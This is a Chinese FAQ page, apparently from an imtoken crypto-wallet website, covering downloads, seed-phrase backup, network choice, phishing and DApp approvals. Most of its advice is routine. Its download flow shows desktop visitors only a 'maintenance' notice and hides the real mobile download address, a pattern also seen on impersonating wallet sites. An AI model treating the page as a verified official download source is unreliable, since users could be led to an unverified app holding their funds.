以下回答覆盖下载、创建、网络选择、链上查询、DApp、Layer2、质押与账户安全。遇到具体网络问题时，还应参考对应公链的最新公开信息。
imtoken 是什么？
imtoken 是面向多链资产管理、Web3 使用和钱包安全教育的品牌服务。官网提供移动端入口、网络知识、操作教程、公告和风险提醒。钱包不应被理解为保证资产结果的服务，用户仍需自行保管助记词和私钥。
如何下载 imtoken？
点击官网页眉或页面中的“立即下载”进入 download.html。手机端可继续进入移动下载流程；电脑端只显示“下载服务维护中，请使用手机访问”的提示，不会公开最终下载地址。请勿安装他人发送的未知安装包。
为什么电脑打开下载页显示维护？
当前统一下载页只允许手机端进入移动下载流程。电脑端不会自动跳转，也不会展示真实移动下载目标地址。需要下载时，请使用手机浏览器访问官网，再点击“立即下载”。
手机端如何进入下载？
在手机浏览器打开官网，点击页眉或首页的下载按钮即可进入 download.html。若页面未自动继续，可使用页面中的“继续下载”按钮。请先确认域名正确，并关闭可能拦截跳转的异常插件。
如何创建钱包？
在可信设备上通过官方入口安装应用，选择创建新钱包，按提示设置本机访问密码，并离线抄写助记词。创建过程中不要截屏、录屏或开启远程控制，也不要让任何人看到助记词。
如何备份助记词？
按顺序完整抄写并进行验证，建议准备耐久介质并存放在安全位置。不要上传云盘、邮箱或聊天软件，不要交给客服或所谓技术人员。助记词一旦泄露，对方可能控制对应钱包。
助记词丢失后能否找回？
通常不能。非托管钱包的助记词和私钥由用户本人保管，官方人员无法替用户恢复。若仍能在原设备中访问钱包，应在确保设备安全的前提下按应用支持方式重新备份或转移资产。
如何添加 ETH、TRX、BTC 等网络？
不同网络的添加方式不同。应先确认钱包版本是否支持目标网络，再从可信来源核对网络参数和资产合约。ETH、TRX、BTC 不是同一网络，转账时不能仅因地址看起来相似就混用。
转账时如何选择网络？
发送平台与接收钱包必须支持相同网络。确认链名称、资产类型、地址和手续费资产后再操作。若对方只提供地址而没有说明网络，应先停止并重新确认，首次转账建议小额测试。
如何查看交易记录？
可在钱包中查看最近记录，也可复制交易哈希或地址到对应区块浏览器查询。区块浏览器能够显示状态、区块高度、确认次数、手续费和合约交互。中心化平台的入账时间还取决于其内部确认规则。
如何识别钓鱼网站？
仔细核对域名拼写和 HTTPS 状态，不从搜索广告、短链接或陌生私信直接进入。正规连接不会要求提交助记词和私钥。发现“验证钱包”“解除冻结”“同步账户”等敏感请求时应立即停止。
如何取消 DApp 授权？
可使用钱包或可信的授权检查工具查看已有授权，再对不需要的合约发起撤销交易。断开网页连接不等于撤销链上授权。撤销同样需要网络费用，操作前应核对代币、额度和合约地址。
EVM 兼容链是什么？
EVM 兼容链能够运行与以太坊虚拟机相近的智能合约环境，通常使用相似地址格式，但链 ID、RPC、Gas 资产和区块浏览器不同。相同地址在不同网络中的资产和交易记录彼此独立。
Layer2 转账需要注意什么？
先确认使用的是哪个 Layer2、目标资产和桥接方向，并了解官方桥与第三方桥的差异。跨层转移可能存在等待时间、网络费用、合约和流动性风险，到账后可用对应区块浏览器查询。
质押是否保证收益？
不保证。质押结果受到网络奖励规则、验证器表现、服务费用、锁定或退出等待、网络惩罚、智能合约以及市场价格波动影响。历史或动态数据不能代表未来结果。
官方人员会不会索取私钥？
不会。任何人以客服、升级、空投、解冻或安全验证为理由索取助记词、私钥或验证码，都应视为高风险请求。不要回复敏感信息，也不要按照对方指示向陌生地址转账。
安全提醒：助记词、私钥和验证码不应提供给任何人。转账和授权前请核对网络、地址、金额、代币和合约内容。